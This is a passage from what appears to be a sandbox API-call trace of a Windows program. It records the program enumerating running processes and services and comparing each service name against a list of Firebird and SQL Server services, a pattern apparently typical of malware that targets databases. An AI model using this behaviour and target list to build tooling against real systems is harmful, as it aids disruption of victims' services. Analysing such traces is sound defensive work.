dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0171.971] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0171.971] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0171.972] lstrlenW (lpString="stream-test.exe") returned 15 [0171.972] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0171.972] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0171.972] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.973] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.973] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0171.974] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0171.974] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0171.975] lstrlenW (lpString="movers-indication.exe") returned 21 [0171.975] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0171.976] lstrlenW (lpString="drama tv thee.exe") returned 17 [0171.976] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0171.976] lstrlenW (lpString="barriers.exe") returned 12 [0171.976] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0171.977] lstrlenW (lpString="shootclick.exe") returned 14 [0171.977] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0171.978] lstrlenW (lpString="nickel.exe") returned 10 [0171.978] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0171.979] lstrlenW (lpString="imperialopened.exe") returned 18 [0171.979] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0171.980] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0171.980] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0171.980] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0171.980] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0171.981] lstrlenW (lpString="perhapssentences.exe") returned 20 [0171.981] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0171.982] lstrlenW (lpString="dllhost.exe") returned 11 [0171.982] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.983] lstrlenW (lpString="svchost.exe") returned 11 [0171.983] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0171.983] lstrlenW (lpString="chrome64b.exe") returned 13 [0171.983] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0171.984] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0171.984] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.985] lstrlenW (lpString="conhost.exe") returned 11 [0171.985] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0171.986] lstrlenW (lpString="cmd.exe") returned 7 [0171.986] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.986] lstrlenW (lpString="conhost.exe") returned 11 [0171.986] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0171.987] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0171.987] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0171.988] CloseHandle (hObject=0x374) returned 1 [0171.988] Sleep (dwMilliseconds=0x1f4) [0172.492] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0172.492] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0172.493] GetLastError () returned 0xea [0172.493] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800d0 [0172.493] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800d0, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800d0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0172.493] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0172.493] lstrlenW (lpString="Appinfo") returned 7 [0172.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.494] lstrlenW (lpString="AppXSvc") returned 7 [0172.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0172.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0172.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0172.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0172.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0172.494] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.494] lstrlenW (lpString="Audiosrv") returned 8 [0172.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0172.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0172.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0172.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0172.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0172.494] lstrlenW (lpString="BFE") returned 3 [0172.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.494] lstrlenW (lpString="BITS") returned 4 [0172.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0172.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0172.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0172.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0172.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0172.495] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0172.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0172.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0172.495] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0172.495] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0172.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0172.495] lstrlenW (lpString="CDPSvc") returned 6 [0172.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0172.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0172.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0172.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0172.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0172.495] lstrlenW (lpString="ClickToRunSvc") returned 13 [0172.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0172.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0172.495] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0172.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0172.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0172.495] lstrlenW (lpString="ClipSVC") returned 7 [0172.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0172.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0172.495] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0172.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0172.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0172.495] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0172.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0172.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0172.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0172.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0172.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0172.495] lstrlenW (lpString="CryptSvc") returned 8 [0172.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.496] lstrlenW (lpString="DcomLaunch") returned 10 [0172.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.496] lstrlenW (lpString="DeviceAssociationService") returned 24 [0172.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0172.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0172.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0172.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0172.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0172.496] lstrlenW (lpString="Dhcp") returned 4 [0172.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.496] lstrlenW (lpString="Dnscache") returned 8 [0172.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.496] lstrlenW (lpString="DoSvc") returned 5 [0172.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0172.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0172.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0172.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0172.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0172.496] lstrlenW (lpString="DPS") returned 3 [0172.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.497] lstrlenW (lpString="DusmSvc") returned 7 [0172.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0172.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0172.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0172.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0172.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0172.497] lstrlenW (lpString="EventLog") returned 8 [0172.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0172.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0172.497] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0172.497] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0172.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0172.497] lstrlenW (lpString="EventSystem") returned 11 [0172.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.497] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.497] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.497] lstrlenW (lpString="FontCache") returned 9 [0172.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0172.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0172.497] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0172.497] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0172.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0172.497] lstrlenW (lpString="gpsvc") returned 5 [0172.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.497] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.498] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.498] lstrlenW (lpString="iphlpsvc") returned 8 [0172.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.498] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.498] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.498] lstrlenW (lpString="KeyIso") returned 6 [0172.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0172.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0172.498] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0172.498] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0172.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0172.498] lstrlenW (lpString="LanmanServer") returned 12 [0172.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.498] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.498] lstrlenW (lpString="lfsvc") returned 5 [0172.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0172.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0172.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0172.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0172.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0172.498] lstrlenW (lpString="LicenseManager") returned 14 [0172.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0172.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0172.499] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0172.499] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0172.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0172.499] lstrlenW (lpString="lmhosts") returned 7 [0172.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.499] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.499] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.499] lstrlenW (lpString="LSM") returned 3 [0172.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0172.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0172.499] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0172.499] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0172.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0172.499] lstrlenW (lpString="MpsSvc") returned 6 [0172.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.499] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.499] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.499] lstrlenW (lpString="NcbService") returned 10 [0172.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0172.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0172.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0172.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0172.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0172.499] lstrlenW (lpString="netprofm") returned 8 [0172.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.499] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.499] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0172.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.500] lstrlenW (lpString="NlaSvc") returned 6 [0172.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.500] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.500] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.500] lstrlenW (lpString="nsi") returned 3 [0172.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.500] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.500] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.500] 